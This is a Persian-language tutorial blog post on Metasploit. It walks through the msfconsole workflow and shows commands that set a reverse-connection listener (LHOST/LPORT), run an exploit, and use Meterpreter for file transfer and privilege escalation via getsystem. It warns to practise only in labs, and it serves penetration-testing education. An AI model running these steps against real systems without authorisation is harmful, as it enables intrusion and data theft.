آموزش Metasploit؛ از جستوجوی ماژول تا اتصال Meterpreter
۱۳ شهریور ۱۴۰۵ · 7 دقیقه مطالعه
Metasploit یک فریمورک متنباز است که تست نفوذ را با چند بخش هماهنگ پیش میبرد: ماژولهای بهرهبرداری (exploit)، پیلودها (payload)، ابزارهای اسکن و پایگاهدادهی آسیبپذیریها. تازهکار و حرفهای هر دو از یک گردش کار واحد استفاده میکنند.
ساختار اصلی فریمورک
- Exploit: کدی که از یک آسیبپذیری استفاده میکند
- Payload: کاری که بعد از موفقیت اجرا میشود (مثل بازکردن شل)
- Auxiliary: ماژولهای اسکن، brute-force و ابزارهای کاربردی
- Encoder/Evasion: تغییر پیلود برای عبور از آنتیویروس (بیشتر در امتحانات مثل OSCP)
همهی اینها در واسط بومی Metasploit یعنی msfconsole در دسترس است.
گردش کار اولیه؛ قدمهای پایه
- شروع: msfconsole
- جستوجوی ماژول: search type:exploit name:wordpress
- انتخاب ماژول: use exploit/multi/...
- نمایش گزینهها: show options
- تنظیم هدف: set RHOSTS 192.168.1.10
- تنظیم پیلود و لینکبک: set LHOST 192.168.1.20 و set LPORT 4444
- اجرا: exploit
اگر اتصال برقرار شد، به ترتیب پیلودهای پشتیبان معتبر (valid) را بررسی میکنی.
پیلود Meterpreter؛ کنترل تعاملی بعد از اتصال
مترپریتر یک پیلود تعاملی است که بعد از اتصال، کنترل پیشرفته میدهد:
- sysinfo و getuid برای شناخت محیط
- upload و download برای جابهجایی فایل
- getsystem برای تلاش ارتقای دسترسی (در ویندوز)
- ماژولهای post/... برای پسبهرهبرداری (post-exploitation)
مهارت اصلی این است که بدانی برای هر وضعیت کدام ماژول و پیلود مناسب است؛ این دانش از تمرین زیاد به دست میآید نه حافظه.
db_nmap و گزارشدهی یکپارچه
Metasploit با پایگاهداده، کل فرآیند را یکپارچه میکند:
db_nmap -sV 192.168.1.0/24
سپس با دستورهای hosts، services و vulns خروجی اسکن را در پایگاهداده میبینی. شناخت خوب، پیشنیاز بهرهبرداری است؛ آموزش آن را در اسکن پورت با Nmap ببین.
هشدار مهم امنیتی
هرگز پیلود را به سیستم واقعی بدون هماهنگی نده؛ اتصال یک شل به سیستم شخصی، اولین و بدترین اشتباه تازهکارهاست. تمرین فقط روی شبکهی مجازی آزمایشی:
- Metasploitable برای بهرهبرداریهای لینوکسی
- محیطهای آزمایشگاهی مثل TryHackMe یا HackTheBox
برای شروع درست و امن، محیط کالی را ابتدا آماده کن: نصب کالی لینوکس.
سوالات متداول
تفاوت exploit و payload چیست؟
Exploit از آسیبپذیری برای ورود بهره میبرد؛ payload کاری است که بعد از ورود اجرا میشود (مثل شل یا Meterpreter).
چرا LHOST را تنظیم میکنیم؟
LHOST و LPORT آدرس و پورتی هستند که پیلود برای اتصال بازگشتی به مهاجم استفاده میکند؛ باید از ماشین هدف قابلدسترس باشد.
بهترین محیط تمرین Metasploit چیست؟
شبکهی مجازی با Metasploitable و سکوهای آزمایشگاهی مثل TryHackMe و HackTheBox؛ هرگز از سیستمهای واقعی و بدون مجوز استفاده نکن.
آیا Metasploit در تست نفوذ حرفهای واقعاً کاربرد دارد؟
بله؛ هم برای اعتبارسنجی سریع آسیبپذیریها و هم در دورههایی مثل OSCP و کارهای Red Team، یکی از ابزارهای اصلی است.